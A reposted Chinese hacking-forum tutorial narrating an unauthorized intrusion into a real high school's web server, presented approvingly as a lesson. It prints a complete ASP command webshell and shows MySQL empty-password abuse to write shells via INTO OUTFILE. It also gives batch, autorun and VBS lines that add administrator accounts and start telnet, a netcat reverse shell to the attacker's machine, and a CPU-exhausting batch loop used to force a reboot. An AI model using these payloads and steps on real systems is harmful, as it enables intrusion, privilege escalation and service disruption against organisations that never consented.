论坛: 黑客进阶 标题: [转载]一次艰难而真实的入侵 复制本贴地址    
作者: linux [wish259]    论坛用户   登录
[转载]一次艰难而真实的入侵





文章作者:霜风

完整带图版下载地址:http://kuyouwang.8u8.com/mysql.rar
主页:http://www.ringz.org
邮件:xiaogao12911@sina.com
欢迎进入环形区,一群技术狂热者的社区,www.ringz.org欢迎你的加入!
-----------------------------------------------------------------------------
网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么?不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做好这么艺术,需要的是智慧和永不放弃的精神,更需要有精明的头脑,灵活的运用已知的一些信息,入侵可不是三两下子就能完成的,1天,1个星期都有可能,好了,不讲大道理了,来看看俺入侵的经历吧。
一天在上了本地一个重点高中的网站,听说这个学校的计算机很厉害,也是本人心仪以久的中学(没办法,初3了……),但是我习惯性的在一个新闻后面输入: http://host/home/xwzx/xwzxfile.php?id=53\
于是入侵就这样开始了……

1,信息收集与分析:
输入完后出现了下面的字:
Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php on line 191
这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:
1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。

2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。

3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。

telnet ip 80
get
得到的banner是IIS5.0,看来主机是iis5.0+php+mysql

3,攻击开始:

首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。
有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:
use mysql;
发送命令
“发送use mysal;成功!”
create table tmp(cmd TEXT)
发送命令
“发送create table tmp(cmd TEXT)成功!”

说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT

再生成的表中写入内容并导出到系统目录上然后删除键的表
insert into tmp values(\"<% Dim oScript\")
发送命令(成功)
insert into tmp values(\"Dim oScriptNet\")
发送命令(成功)
insert into tmp values(\"Dim oFileSys, oFile\")
发送命令(成功)
……
……
select * from tmp into outfile \"d:\\\\wangzhan\\\\home\\cmd.asp\"
drop table tmp
说明:其实我就是一行一行往TMP这个表里写入cmd.asp的内容,代码如下:
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(\"\"WSCRIPT.SHELL\"\")
Set oScriptNet = Server.CreateObject(\"\"WSCRIPT.NETWORK\"\")
Set oFileSys = Server.CreateObject(\"\"Scripting.FileSystemObject\"\")
szCMD = Request.Form(\"\".CMD\"\")
If (szCMD <> \"\"\"\")Then
szTempFile = \"\"C:\\\" & oFileSys.GetTempName()
Call oScript.Run (\"\"cmd.exe /c \"\" & szCMD & \"\" > \"\" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=\"\"<%= Request.ServerVariables(\"\"URL\"\")%>\"\" method=\"\"POST\"\">
<input type=text name=\"\".CMD\"\" size=45 value=\"\"<%= szCMD %>\"\"><input type=submit value=\"\"Run\"\">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
写好后,再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.


花了10几分钟终于写好了,访问URL:http://www.%school%.com/home/cmd.asp,却出现了

“505 服务器内部错误”,

看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:
mysql -h ip -uroot <php.sql
意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:
use test;
create table tmp(cmd TEXT);
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
……
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加
insert into tmp values(\
和末尾都添加
\)
的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器―易优超级字典生成器注册版,

它有一个小功能,在修改字典里,

如图1

有两个选项,一个是
“在每个密码前插入字符串”另一个是
“在每个密码后插入字符串”
嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上
insert into tmp values(\,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和
\),


(不过首先用记事本打开那个phpshell.txt,把所以的\"改为\"\",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的\"都要用\"\"代替,真是麻烦……)

输出好后,再加上
use test;
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
最后改名为php.sql,好了,回到上面,
mysql -h ip -uroot <php.sql
回车后出现:
error on line 47 \"\\\"……
还有一些,由于当时没截图,就记不清了,反正意思是\"\\\" \"/*\"等等这类的字符无法导入,当时的心情真是・#¥……%,也许这时许多人都会想到放弃,但是黑客的精神就是“永不放弃”啊!~(虽然俺不是黑客)

3,山穷水尽

于是重新在网上DOWN了一个功能超强的MYSQL管理工具
―EMS MySQL Manager 2
好险是半中文界面,试了几次后,终于把操作方法摸熟了,

如图2

大家可以看到,随便进入了一个项,点右键―新建表,然后把表的名字改为love,点下一步,把类型改为TEXT,

如图3

最后点“好的”接着右键点LOVE表,数据操作―导入数据―点选导入文本,然后打开phpshell.txt,最后点完成,最后等待了,

如图4

完成后,仔细看了表里的内容,确认和phpshell原代码一样后,用牛族MYSQL连接器导出了,用浏览器浏览,还是出现错误,真实郁闷啊,哪位高手知道到底是怎么回事一定要告诉我,小弟不甚感激。
接着我想到了那个BBS,正好MYSQL里有个BBS的项,进入,打开USER的表,第一行就是WEBMASTER,密码是用32位MD5加密的,用MD5解密,纯数字和字典都没成功,看来只好放弃了……

然后我又想到了用autorun.inf和BAT,于是,我再一次打开了牛族MYSQL连接器,输入:
insert into tmp values(\"net user shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net localgroup administrators shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net start telnet\")
发送命令(成功)
insert into tmp values(\"del telnet\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\telnet.bat\"
drop table tmp

写完BAT后再写autorun.inf

insert into tmp values(\"[AutoRun]\")
发送命令(成功)
insert into tmp values(\"OPEN= d:\\muma.exe /autorun\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\autorun.inf\"
drop table tmp

我把这两个文件C盘,D盘,E盘都放了,看看表11点48了,有点困了,先睡吧。

4,绝处逢生
第2天一打开电脑,就在cmd里输入telnet ip,返回的却是:
正在连接到xxx.xxx.xxx.xxx...不能打开到主机的连接, 在端口 23: 连接失败
当时真的很郁闷,又想到了21的FTP,又一个思路冒出来,下载一个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机,最后登陆,不过仔细想想还是不行,因为MYSQL导出的文件不能覆盖其他文件……
不行,我还是不能放弃,我把注意力转移到MYSQL的数据上,仔细搜索,发现一个“wangzhan\"的列,进入后发现USER的表,看到里面有几个帐号,密码是名文保存的,接着我联想到网站上的管理系统,于是马上依照了第一个行的帐号登入,结果证明了我的猜测,我成功的进入了,只有发布新闻,下载等栏目,

如图5

并没有什么关于设置的选项,但是我还是试了一下,点发布新闻,一个“上传图片”的框框映入了我的眼帘,我试着用它上传phpshell,填好标题,内容等后,点了确定,另人激动的时刻到了,我成功了,顺利的传了上去,看来终究是自己编的,竟然没有对后错名做限制,出现:
home/photo/2013245321.php上传成功,
结果我通过这个路径,得到了phpshell,当时的心情真是无法用言语形容,但是我们现在的权限还太小,只能读写文件,要取道ADMIN权限才能算真正的占领,接着我开始了提升权限……

5,最后的决战
经过不懈的努力,终于有一个PHPSHELL,这个小小的SHELL,整整经过我2天的努力,最后就是提升权限了,再上传一个NC,
反向连接:
back(被我改名了) myip 53 -e cmd.exe
就是把帮定的CMDSHELL返回到我的53端口上,然后在自己机上运行
back -vv -l -p 53
顺利的得到了SHELL
如图6

得到CMDSHELL先看看是什么系统
type %windir%\\system32\\$winnt$.inf
发现有win adv,这几个字母,初步判定是win高级服务器版
再看看他打了什么补丁吧,输入:regedit /e r.reg HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix,意思是导出
HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix,里面含有补丁的信息,但没成功导出,怎么办呢,仔细看看WINNT里面的目录,发现有一些Q打头的LOG文件,它就是打了SP后遗留下来的日志文件,用TYPE命令查看,里面有许多是SP4的文件名,很有可能打了SP4,那样的话就麻烦了……
首先试试WMI吧,是eyas写的提升权限的东西,可以在SP3的机上建立一个XX的超级管理员,上传并运行以后,结果在我意料之中―拒绝访问,看来真的打了SP4,这样可就麻烦了,输入net start,看看开了什么服务,发现几个可以利用的服务:
mysql
Serv-U
于是我开是替换服务了,但可悲的是,这两个软件都装在C盘,而且C盘是NTFS,更改名字就是拒绝访问,杀进程就更别说了,哎,感觉又没有办法了,但是我还是不能放弃!(神都应该被我的精神感动了吧)仔细想想,我又回到了MYSQL上面,因为MYSQL肯定是ADMIN装的,也就是说隶属于ADMIN的启动范围之类,也就是说可以利用它写个脚本然后放在“启动”项内,于是我赶紧输入:
use test;
create table aaa2(cmd TEXT)
insert into aaa2 values (\"set wsh=CreateObject(\"\"WScript.Shell\"\")\")
insert into aaa2 values (\"wsh.run \"\"net.exe user aaa aa /add\"\",0\")
insert into aaa2 values (\"wsh.run \"\"net localgroup administrators aaa /add\"\",0\")
insert into 2 values (\"wsh.run \"net start telnet\",0\")
最后导出在所有USER的“启动”项内,最后就是等服务器重起了,不过俺是个急性子的人,利用messenge漏洞吧,虽然它不能得到SHELL但能使服务器重起,但仔细一看原来服务器根本就没启动MESSENGE服务,更别说漏洞了……
怎么办呢,写个BAT吧,内容为:
:begin
start cmd
goto begin
也就是不停的运行CMD,呵呵,更拒绝服务差不多,不一会CPU就会SAY GOODBYE了。
重起之后的事就不用说了吧……


至此终于入侵完了,回顾整个入侵,几起几落,真的是很不容易,耗时3天,最后终于成功了,希望各位读者们能从这篇文章学会一些有用的知识,而最重要的就是要有永不放弃的精神,而且要善于分析问题。




地主 发表时间: 04-07-29 00:12

回复: etliwei [etliwei]   论坛用户   登录
好贴 加精!

B1层 发表时间: 04-07-31 22:16

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号